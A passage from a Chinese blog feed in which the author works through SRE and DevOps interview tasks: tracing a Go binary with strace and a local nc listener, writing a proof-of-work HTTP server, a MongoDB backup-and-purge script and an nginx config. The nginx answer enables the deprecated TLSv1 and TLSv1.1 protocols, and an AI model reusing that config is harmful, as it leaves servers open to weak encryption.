jwt.py</span><br></pre></td></tr></table></figure><blockquote><p>Script execution started.<br>Script execution finished.<br>Number of authentic JWTs: 768<br>Number of fake JWTs: 90<br>Script execution started.<br>Script execution finished.<br>Number of authentic JWTs: 768<br>Number of fake JWTs: 90</p></blockquote><p>so, The number of authentic JWTs is: 768</p><h3 id="第四题"><a href="#第四题" class="headerlink" title="第四题"></a>第四题</h3><p>有个文件：<code>make_me_happy</code></p><h4 id="第四题第一问"><a href="#第四题第一问" class="headerlink" title="第四题第一问"></a>第四题第一问</h4><p>尽量找出这个文件相关的信息。</p><p>这个程序执行时会去连本地的一个接口，把这个接口找出来。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">file make_me_happy</span><br></pre></td></tr></table></figure><blockquote><p>make_me_happy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter &#x2F;lib64&#x2F;ld-linux-x86-64.so.2, Go BuildID&#x3D;w3cEj7RamW7-qGzf3Nhs&#x2F;UpW-8zX_rMqqAZOxch9q&#x2F;g8QtiW2olQfv2K-oXiQs&#x2F;KuNmNVsa3dhXuFD3EuZR, with debug_info, not stripped</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> -l make_me_happy</span><br></pre></td></tr></table></figure><blockquote><p>-rw-r–r– 1 root root 6777227 Feb 16  2023 make_me_happy</p></blockquote><p>has no execute permission.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ldd make_me_happy</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">linux-vdso.so.1 (0x00007ffcd23ca000)</span><br><span class="line">libresolv.so.2 =&gt; /lib/x86_64-linux-gnu/libresolv.so.2 (0x00007fdcb92fc000)</span><br><span class="line">libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdcb90d4000)</span><br><span class="line">/lib64/ld-linux-x86-64.so.2 (0x00007fdcb9319000) </span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">strings make_me_happy | grep -iE <span class="string">&#x27;(http|https|server|socket)://127&#x27;</span></span><br></pre></td></tr></table></figure><blockquote><p>……invalid signature: parent certificate cannot sign this kind of certificate<a href="http://127.0.0.1:7777/pow?q=give_me_a_string_whose_sha256sum_in_hex_begins_with_%25srefusing">http://127.0.0.1:7777/pow?q=give_me_a_string_whose_sha256sum_in_hex_begins_with_%srefusing</a> to use HTTP_PROXY value in CGI environment……</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># make make_me_happy excutable with /usr/bin/chmod has no execute permission</span></span><br><span class="line"><span class="comment"># using python3</span></span><br><span class="line">python3</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line">os.chmod(<span class="string">&#x27;make_me_happy&#x27;</span>, <span class="number">0o755</span>)</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">strace ./make_me_happy</span><br></pre></td></tr></table></figure><blockquote><p>……openat(AT_FDCWD, “&#x2F;root&#x2F;.config&#x2F;make_me_happy.conf”, O_RDONLY|O_CLOEXEC) &#x3D; -1 ENOENT (No such file or directory)<br>write(1, “Not OK\n”, 7Not OK</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">touch</span> /root/.config/make_me_happy.conf</span><br><span class="line">strace ./make_me_happy</span><br></pre></td></tr></table></figure><blockquote><p>……connect(7, {sa_family&#x3D;AF_INET, sin_port&#x3D;htons(7777), sin_addr&#x3D;inet_addr(“127.0.0.1”)}, 16) &#x3D; -1 EINPROGRESS (Operation now in progress)<br>epoll_ctl(4, EPOLL_CTL_ADD, 7, {events&#x3D;EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, data&#x3D;{u32&#x3D;4114591560, u64&#x3D;140651408633672}}) &#x3D; 0<br>epoll_pwait(4, [{events&#x3D;EPOLLIN|EPOLLOUT|EPOLLERR|EPOLLHUP|EPOLLRDHUP, data&#x3D;{u32&#x3D;4114591560, u64&#x3D;140651408633672}}], 128, 0, NULL, 0) &#x3D; 1<br>getsockopt(7, SOL_SOCKET, SO_ERROR, [ECONNREFUSED], [4]) &#x3D; 0<br>epoll_ctl(4, EPOLL_CTL_DEL, 7, 0xc0000bf074) &#x3D; 0<br>close(7)                                &#x3D; 0<br>write(1, “Not OK\n”, 7Not OK</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -4l 7777 &amp;</span><br></pre></td></tr></table></figure><blockquote><p>[1] 7379</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./make_me_happy</span><br></pre></td></tr></table></figure><blockquote><p>GET &#x2F;pow?q&#x3D;give_me_a_string_whose_sha256sum_in_hex_begins_with_7865 HTTP&#x2F;1.1<br>Host: 127.0.0.1:7777<br>User-Agent: Go-http-client&#x2F;1.1<br>Accept-Encoding: gzip</p></blockquote><h4 id="第四题第二问"><a href="#第四题第二问" class="headerlink" title="第四题第二问"></a>第四题第二问</h4><p>想办法让这个程序在执行的时候，正确返回。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 server.py &amp;</span><br></pre></td></tr></table></figure><blockquote><p>Start HTTP server on port 7777…</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./make_me_happy</span><br></pre></td></tr></table></figure><blockquote><p>127.0.0.1 - - [19&#x2F;Jun&#x2F;2024 17:19:02] “GET &#x2F;pow?q&#x3D;give_me_a_string_whose_sha256sum_in_hex_begins_with_e7ba HTTP&#x2F;1.1” 200 -<br>OK! Thank you, I’m happy now!</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> $?</span><br></pre></td></tr></table></figure><blockquote><p>0</p></blockquote><h4 id="第四题第三问"><a href="#第四题第三问" class="headerlink" title="第四题第三问"></a>第四题第三问</h4><p>贴出来第二问的源码（如果有的话）。</p><p>我的答案：</p><p>the whole code(server.py) is:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> urlparse, parse_qs</span><br><span class="line"><span class="keyword">from</span> http.server <span class="keyword">import</span> SimpleHTTPRequestHandler, HTTPServer</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">find_sha256_prefix</span>(<span class="params">prefix</span>):</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        candidate = <span class="string">&#x27;&#x27;</span>.join(random.choices(string.ascii_letters + string.digits, k=<span class="number">16</span>))</span><br><span class="line">        sha256sum = hashlib.sha256(candidate.encode()).hexdigest()</span><br><span class="line">        <span class="keyword">if</span> sha256sum.startswith(prefix):</span><br><span class="line">            <span class="keyword">return</span> candidate</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">CustomHandler</span>(<span class="title class_ inherited__">SimpleHTTPRequestHandler</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">do_GET</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">if</span> <span class="variable language_">self</span>.path.startswith(<span class="string">&quot;/pow&quot;</span>):</span><br><span class="line">            query_components = parse_qs(urlparse(<span class="variable language_">self</span>.path).query)</span><br><span class="line">            prefix_template = query_components.get(<span class="string">&#x27;q&#x27;</span>, [<span class="string">&#x27;&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;with_&quot;</span> <span class="keyword">in</span> prefix_template:</span><br><span class="line">                prefix = prefix_template.split(<span class="string">&quot;with_&quot;</span>)[<span class="number">1</span>]</span><br><span class="line">                suffix = find_sha256_prefix(prefix)</span><br><span class="line">                response = suffix.encode()</span><br><span class="line">                <span class="variable language_">self</span>.send_response(<span class="number">200</span>)</span><br><span class="line">                <span class="variable language_">self</span>.send_header(<span class="string">&#x27;Content-type&#x27;</span>, <span class="string">&#x27;text/plain&#x27;</span>)</span><br><span class="line">                <span class="variable language_">self</span>.send_header(<span class="string">&#x27;Content-length&#x27;</span>, <span class="built_in">len</span>(response))</span><br><span class="line">                <span class="variable language_">self</span>.end_headers()</span><br><span class="line">                <span class="variable language_">self</span>.wfile.write(response)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="variable language_">self</span>.send_response(<span class="number">404</span>)</span><br><span class="line">            <span class="variable language_">self</span>.end_headers()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">run</span>():</span><br><span class="line">    server_address = (<span class="string">&#x27;&#x27;</span>, <span class="number">7777</span>)</span><br><span class="line">    httpd = HTTPServer(server_address, CustomHandler)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&#x27;Start HTTP server on port 7777...&#x27;</span>)</span><br><span class="line">    httpd.serve_forever()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    run()</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这倒还真是 SRE 的题目，基本上都跟开发有关系。这里由于需要的环境简单，而且公司方面提供了一个完整的试验环境，所以所有的 python 程序我都做过测试。</p><hr><p><em>本文由 <a href="https://ming.theyan.gs/">老杨</a> 原创，转载请注明出处。</em></p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;简介&quot;&gt;&lt;a href=&quot;#简介&quot; class=&quot;headerlink&quot; title=&quot;简介&quot;&gt;&lt;/a&gt;简介&lt;/h2&gt;&lt;p&gt;这是之前有一家公司招 SRE，我投了简历，然后被给了份题让先做一下，于是便有了这篇“水”文。&lt;/p&gt;
&lt;p&gt;当然，最终我并没有拿到这个 offer，最早是说一周内安排面试的，后来又说是这个岗位暂停了。&lt;/p&gt;</summary>
    
    
    
    
    <category term="docker" scheme="https://ming.theyan.gs/tags/docker/"/>
    
    <category term="bash" scheme="https://ming.theyan.gs/tags/bash/"/>
    
    <category term="python" scheme="https://ming.theyan.gs/tags/python/"/>
    
    <category term="SRE" scheme="https://ming.theyan.gs/tags/SRE/"/>
    
    <category term="interview" scheme="https://ming.theyan.gs/tags/interview/"/>
    
    <category term="lsof" scheme="https://ming.theyan.gs/tags/lsof/"/>
    
    <category term="readlink" scheme="https://ming.theyan.gs/tags/readlink/"/>
    
  </entry>
  
  <entry>
    <title>我做的某公司 DevOps 远程职位的面试题</title>
    <link href="https://ming.theyan.gs/2024/01/%E6%88%91%E5%81%9A%E7%9A%84%E6%9F%90%E5%85%AC%E5%8F%B8%20DevOps%20%E8%BF%9C%E7%A8%8B%E8%81%8C%E4%BD%8D%E7%9A%84%E9%9D%A2%E8%AF%95%E9%A2%98/index.html"/>
    <id>https://ming.theyan.gs/2024/01/%E6%88%91%E5%81%9A%E7%9A%84%E6%9F%90%E5%85%AC%E5%8F%B8%20DevOps%20%E8%BF%9C%E7%A8%8B%E8%81%8C%E4%BD%8D%E7%9A%84%E9%9D%A2%E8%AF%95%E9%A2%98/index.html</id>
    <published>2024-01-19T13:33:51.000Z</published>
    <updated>2024-01-21T14:45:28.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>这是之前有一家海外公司招 DevOps 工程师，我投了简历，期望薪资写了薪资范围的最下限，然后被给了份题让先做一下，于是便有了这篇“水”文。</p><p>当然，最终我并没有拿到这个 offer，甚至连下一轮见 CTO 的机会都没有。（关于这个，我其实心里还是有一点小小的不服气的。）</p><span id="more"></span><h2 id="题目详情"><a href="#题目详情" class="headerlink" title="题目详情"></a>题目详情</h2><h3 id="Q1"><a href="#Q1" class="headerlink" title="Q1"></a>Q1</h3><p>写一个定时执行的 Bash 脚本，每月的一号凌晨 1 点对 MongoDB 中 test.user_log 表进行备份、清理，具体要求如下：</p><ul><li>首先备份上个月的数据，备份完成后打包成.gz文件</li><li>备份文件通过 sftp 传输到 backup [<a href="mailto:&#98;&#x61;&#x6b;&#117;&#112;&#x40;&#98;&#x61;&#x6b;&#117;&#x70;&#x2e;&#120;&#x78;&#x78;&#46;&#99;&#111;&#109;">&#98;&#x61;&#x6b;&#117;&#112;&#x40;&#98;&#x61;&#x6b;&#117;&#x70;&#x2e;&#120;&#x78;&#x78;&#46;&#99;&#111;&#109;</a>] 服务器上，账户已经配置在~&#x2F;.ssh&#x2F;config</li><li>备份完成后，再对备份过的数据进行清理: create_on [2024-01-01 03:33:11]</li><li>如果脚本执行失败或者异常，则调用 <code>https://monitor.xxx.com/webhook/mongodb</code></li><li>这个表每日数据量大约在 200w 条, 单条数据未压缩的存储大小约 200B</li></ul><h3 id="Q2"><a href="#Q2" class="headerlink" title="Q2"></a>Q2</h3><p>根据要求提供一份 Nginx 配置, 要求如下：</p><ul><li>域名：xxx.com, 支持 https、HTTP&#x2F;2</li><li>非 http 请求经过 301 重定向到 https</li><li>根据 UA 进行判断，如果包含关键字 “Google Bot”, 反向代理到 server_bot[bot.xxx.com] 去处理</li><li>&#x2F;api&#x2F;{name} 路径的请求通过 unix sock 发送到本地 php-fpm，文件映射 &#x2F;www&#x2F;api&#x2F;{name}.php</li><li>&#x2F;api&#x2F;{name} 路径下需要增加限流设置，只允许每秒 1.5 个请求，超过限制的请求返回 http code 429</li><li>&#x2F;statics&#x2F; 目录下是纯静态文件，需要做一些优化配置</li><li>其它请求指向目录 &#x2F;www&#x2F;xxx&#x2F;, 查找顺序 index.html –&gt; public&#x2F;index.html –&gt; &#x2F;api&#x2F;index</li></ul><h3 id="Q3"><a href="#Q3" class="headerlink" title="Q3"></a>Q3</h3><p>现有一台服务器，如下图所示上面通过默认安装并运行了 3 个 docker 容器，需要通过 iptables 进行网络配置。请给出命令：</p><ul><li>只有 Docker_A 与 Docker_B 之间可以相互通信，Docker_C 不能访问其它两个容器</li><li>只允许内网 IP 为 192.168.1.1 - 192.168.1.30 的内网 IP 访问所有容器</li><li>Docker_A:8080 与 Docker_C:80 通过与自身相同端口对外网提供服务, Docker_B:3316 不对外网提供服务</li><li>所有配置需要固化，重启服务器自动生效</li></ul><p><img src="https://raw.githubusercontent.com/haw-haw/image-hosting/master/img/312009449-7f77ad88-406d-4e10-afe8-802cc5366f1a.png" alt="示意图"></p><h3 id="Q4"><a href="#Q4" class="headerlink" title="Q4"></a>Q4</h3><p>已知生产环境数据库结构如图所示:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">graph LR;</span><br><span class="line">    master--&gt;slave_1;</span><br><span class="line">    master--&gt;slave_2;</span><br><span class="line">    slave_1--&gt;slave_3;</span><br><span class="line">    slave_2--&gt;slave_4;</span><br></pre></td></tr></table></figure><p>因为 master 偶尔有硬件问题，需要先将 slave_1 提升为新 master, 然后旧 master 变成 slave_1。请给出操作方案和关键命令。</p><ul><li>主从数据库服务均处于独立服务器上，有独立的IP;</li><li>应用程序写入数据库通过域名 <code>mysql-master.xxx.com</code> 访问;</li><li>应用程序读取数据通过 <strong>Haproxy</strong>(<code>mysql-slave.xxx.com</code>) 访问所有从库 <code>01-04</code></li><li>尽量平滑处理，不影响生产环境</li></ul><h3 id="Q5"><a href="#Q5" class="headerlink" title="Q5"></a>Q5</h3><p>在生产环境中，应用程序是通过 Haproxy 来读取 slave 集群，但是偶尔会产生</p><blockquote><p><strong>SQLSTATE[HY000]: General error: 2006 MySQL server has gone away</strong></p></blockquote><p>的错误，请根据经验，给出一排查方案与可能的方向，与开发一起定位问题, 现已经排查：</p><ul><li>故障发生时，服务器之间防火墙正常，服务器之间可以正常通信;</li><li>故障SQL均可以正常查询，同时不存在性能问题;</li><li>故障频率没有发现特别规律，与服务器负载没有正相关;</li><li>查看各服务的日志，只发现了错误信息，但没有进一步的说明;</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">graph LR;</span><br><span class="line">    Service--&gt;Haproxy;</span><br><span class="line">    Haproxy--&gt;slave_1;</span><br><span class="line">    Haproxy--&gt;slave_2;</span><br><span class="line">    Haproxy--&gt;slave_3;</span><br><span class="line">    Haproxy--&gt;slave_4;</span><br></pre></td></tr></table></figure><h2 id="我的答案"><a href="#我的答案" class="headerlink" title="我的答案"></a>我的答案</h2><h3 id="A1"><a href="#A1" class="headerlink" title="A1"></a>A1</h3><p>如下是备份用的 bash 程序，放在任意合适的目录即可，不过需要记下来路径，cron 的程序 backup_mongo 里要用到，并且给其赋予可执行权限。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># filename: backup_mongo.sh</span></span><br><span class="line"></span><br><span class="line">LAST_MONTH_START=$(<span class="built_in">date</span> -d <span class="string">&quot;<span class="subst">$(date +%Y-%m-01)</span> -1 month&quot;</span> +%Y-%m-01)</span><br><span class="line">LAST_MONTH_END=$(<span class="built_in">date</span> -d <span class="string">&quot;<span class="subst">$(date +%Y-%m-01)</span>&quot;</span> +%Y-%m-%d)</span><br><span class="line"></span><br><span class="line">DATABASE=<span class="string">&quot;test&quot;</span></span><br><span class="line">COLLECTION=<span class="string">&quot;user_log&quot;</span></span><br><span class="line">BACKUP_DIR=<span class="string">&quot;backup&quot;</span></span><br><span class="line">BACKUP_PATH=<span class="string">&quot;<span class="variable">$&#123;BACKUP_DIR&#125;</span>/<span class="variable">$&#123;LAST_MONTH_START&#125;</span>_<span class="variable">$&#123;LAST_MONTH_END&#125;</span>_user_log_backup.gz&quot;</span></span><br><span class="line">LOG_FILE=<span class="string">&quot;<span class="variable">$&#123;BACKUP_DIR&#125;</span>/backup_log_<span class="subst">$(date +%Y%m%d_%H%M%S)</span>.txt&quot;</span></span><br><span class="line">SFTP_SERVER=<span class="string">&quot;bakup@bakup.xxx.com&quot;</span></span><br><span class="line">WEBHOOK_URL=<span class="string">&quot;https://monitor.xxx.com/webhook/mongodb&quot;</span></span><br><span class="line"></span><br><span class="line">[ -e <span class="variable">$&#123;BACKUP_DIR&#125;</span> ] || <span class="built_in">mkdir</span> -p <span class="variable">$&#123;BACKUP_DIR&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;<span class="subst">$(date +<span class="string">&quot;%Y-%m-%d %H:%M:%S&quot;</span>)</span> - Starting backup and compression for <span class="variable">$&#123;DATABASE&#125;</span>.<span class="variable">$&#123;COLLECTION&#125;</span> for the period from <span class="variable">$&#123;LAST_MONTH_START&#125;</span> to <span class="variable">$&#123;LAST_MONTH_END&#125;</span>&quot;</span> | \</span><br><span class="line">        <span class="built_in">tee</span> -a <span class="string">&quot;<span class="variable">$LOG_FILE</span>&quot;</span></span><br><span class="line">&#123;</span><br><span class="line">        mongodump --db=<span class="string">&quot;<span class="variable">$DATABASE</span>&quot;</span> --collection=<span class="string">&quot;<span class="variable">$COLLECTION</span>&quot;</span> \</span><br><span class="line">                --gzip --archive=<span class="string">&quot;<span class="variable">$BACKUP_PATH</span>&quot;</span> \</span><br><span class="line">                --query=<span class="string">&quot;&#123; &#x27;create_on&#x27;: &#123; &#x27;\$gte&#x27;: &#123; &#x27;\$date&#x27;: &#x27;<span class="variable">$&#123;LAST_MONTH_START&#125;</span>T00:00:00.000&#x27; &#125;, &#x27;\$lt&#x27;: &#123; &#x27;\$date&#x27;: &#x27;<span class="variable">$&#123;LAST_MONTH_END&#125;</span>T00:00:00.000&#x27; &#125; &#125; &#125;&quot;</span></span><br><span class="line"></span><br><span class="line">        sftp <span class="variable">$SFTP_SERVER</span> &lt;&lt;&lt; $<span class="string">&#x27;put &#x27;</span><span class="string">&quot;<span class="variable">$&#123;BACKUP_PATH&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line">        mongo <span class="string">&quot;<span class="variable">$DATABASE</span>&quot;</span> \</span><br><span class="line">                --<span class="built_in">eval</span> \</span><br><span class="line">                <span class="string">&quot;db.<span class="variable">$COLLECTION</span>.remove(&#123; &#x27;create_on&#x27;: &#123; &#x27;\$gte&#x27;: &#123; &#x27;\$date&#x27;: &#x27;<span class="variable">$&#123;LAST_MONTH_START&#125;</span>T00:00:00.000&#x27; &#125;, &#x27;\$lt&#x27;: &#123; &#x27;\$date&#x27;: &#x27;<span class="variable">$&#123;LAST_MONTH_END&#125;</span>T00:00:00.000&#x27; &#125; &#125; &#125;);&quot;</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;<span class="subst">$(date +<span class="string">&quot;%Y-%m-%d %H:%M:%S&quot;</span>)</span> - Backup and clean up success.&quot;</span> | <span class="built_in">tee</span> -a <span class="string">&quot;<span class="variable">$LOG_FILE</span>&quot;</span></span><br><span class="line">&#125; || &#123;</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;<span class="subst">$(date +<span class="string">&quot;%Y-%m-%d %H:%M:%S&quot;</span>)</span> - Backup or clean up script failed, sending message...&quot;</span> | <span class="built_in">tee</span> -a <span class="string">&quot;<span class="variable">$LOG_FILE</span>&quot;</span></span><br><span class="line">        curl -X POST <span class="string">&quot;<span class="variable">$WEBHOOK_URL</span>&quot;</span> --data <span class="string">&#x27;Backup or clean up script failed&#x27;</span></span><br><span class="line">        <span class="built_in">exit</span> 1</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如下是 cron 的配置文件 backup_mongo 的内容：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">SHELL=/bin/bash</span><br><span class="line">PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin</span><br><span class="line"></span><br><span class="line">0 1 1 * * root /path/to/backup_mongo.sh &gt; /dev/null 2&gt;&amp;1</span><br></pre></td></tr></table></figure><p>这个文件请放在目录 &#x2F;etc&#x2F;cron.d&#x2F; 下</p><h3 id="A2"><a href="#A2" class="headerlink" title="A2"></a>A2</h3><ul><li>如果是 Debian 系的系统，请把文件 ipo.com.conf 放到 &#x2F;etc&#x2F;nginx&#x2F;sites.available&#x2F; 目录下并在 &#x2F;etc&#x2F;nginx&#x2F;sites.enable&#x2F; 下做一个软链。</li><li>但如果是红帽系的系统，请把文件 ipo.com.conf 放到目录 &#x2F;etc&#x2F;nginx&#x2F;conf.d&#x2F; 下。</li></ul><p>以下是文件 xxx.com.conf 的内容：</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">limit_req_zone</span> <span class="variable">$binary_remote_addr</span> zone=api_per_ip:<span class="number">10m</span> rate=90r/m; <span class="comment"># 1.5r/s by per IP</span></span><br><span class="line"><span class="attribute">limit_req_zone</span> <span class="variable">$server_name</span> zone=api_per_server:<span class="number">10m</span> rate=10r/s; <span class="comment"># 1.5r/s by per server</span></span><br><span class="line"></span><br><span class="line"><span class="section">upstream</span> server_bot &#123;</span><br><span class="line">    <span class="attribute">server</span> bot.xxx.com:<span class="number">443</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="section">server</span> &#123;</span><br><span class="line">    <span class="attribute">listen</span>              <span class="number">80</span>;</span><br><span class="line">    <span class="attribute">listen</span>              [::]:<span class="number">80</span>;</span><br><span class="line">    <span class="attribute">server_name</span>         xxx.com;</span><br><span class="line">    <span class="attribute">return</span>              <span class="number">301</span> https://<span class="variable">$host</span><span class="variable">$request_uri</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="section">server</span> &#123;</span><br><span class="line">    <span class="attribute">listen</span>              <span class="number">443</span> ssl;</span><br><span class="line">    <span class="attribute">http2</span>               <span class="literal">on</span>;</span><br><span class="line">    <span class="attribute">server_name</span>         xxx.com;</span><br><span class="line">    <span class="attribute">ssl_certificate</span>     xxx.com.crt;</span><br><span class="line">    <span class="attribute">ssl_certificate_key</span> xxx.com.key;</span><br><span class="line">    <span class="attribute">ssl_protocols</span>       TLSv1 TLSv1.<span class="number">1</span> TLSv1.<span class="number">2</span> TLSv1.<span class="number">3</span>;</span><br><span class="line">    <span class="attribute">ssl_ciphers</span>         HIGH:!aNULL:!MD5;</span><br><span class="line">    <span class="comment"># 或者直接启用 HSTS</span></span><br><span class="line">    <span class="comment"># add_header Strict-Transport-Security &quot;max-age=31536000; includeSubDomains&quot; always;</span></span><br><span class="line">    <span class="attribute">if</span> (<span class="variable">$http_user_agent</span> <span class="regexp">~ &quot;Google</span> Bot<span class="string">&quot;) &#123;</span></span><br><span class="line"><span class="string">        set <span class="variable">$google_bot</span> true;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    location /api/ &#123;</span></span><br><span class="line"><span class="string">        limit_req zone=api_per_ip burst=5 nodelay; # or using api_per_server</span></span><br><span class="line"><span class="string">        limit_req_status 429;</span></span><br><span class="line"><span class="string">        fastcgi_pass unix:/var/run/php-fpm.sock;</span></span><br><span class="line"><span class="string">        fastcgi_param SCRIPT_FILENAME /www<span class="variable">$fastcgi_script_name</span>.php; # /api/a -&gt; /www/api/a.php</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    location /statics/ &#123;</span></span><br><span class="line"><span class="string">        autoindex       off;</span></span><br><span class="line"><span 